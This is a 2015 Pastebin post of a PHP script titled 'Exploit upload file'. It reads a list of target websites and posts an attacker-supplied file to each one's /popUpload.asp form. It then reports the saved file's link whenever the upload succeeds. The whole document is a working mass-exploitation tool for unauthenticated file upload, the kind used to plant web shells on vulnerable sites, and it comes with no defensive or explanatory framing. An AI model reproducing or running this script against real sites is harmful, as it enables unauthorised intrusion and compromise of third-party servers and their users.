Advertisement
Kro0oz

wis ~ Exploit upload file

Nov 20th, 2015
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.91 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. greetz to all friends <3
  5.  
  6. by Kro0oz ~
  7.  
  8. */
  9.  
  10. echo "\n\t +--  Exploit upload file --+";
  11. echo "\n\t +-- Coded by Kro0oz --+\n";
  12.  
  13. $file="$argv[2]";    
  14.  
  15. $get=@file_get_contents($argv[1]);
  16. $ex=explode("\r\n",$get);
  17. echo "\n\t Total Sites : ".count($ex)."\n";
  18. foreach($ex as $urls){
  19.   job($urls,$file);
  20.  
  21. }
  22.  
  23. function job($site,$file){
  24.   $uploadfile="$file";    // ur file
  25. $ch =curl_init("$site/popUpload.asp");
  26. curl_setopt($ch, CURLOPT_POST, true);
  27. curl_setopt($ch, CURLOPT_POSTFIELDS,
  28. array('txtFile'=>"@$uploadfile",'cmdSubmit'=>1,'butSubmit'=>"Upload Now"));
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  30. $postResult = curl_exec($ch);
  31. curl_close($ch);
  32.  
  33. echo "\n[+] Scanning : $site";
  34.  
  35. if(preg_match("#File saved!<br>Link: (.*?)<br>Upload another file#",$postResult,$res)){
  36.   echo "\n[!] Exploit : Success";
  37.   echo("\n[!] Link : $res[1]\n");
  38. }else{
  39.   echo "\n[!] Exploit : Fail\n";
  40. }
  41. }
  42. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement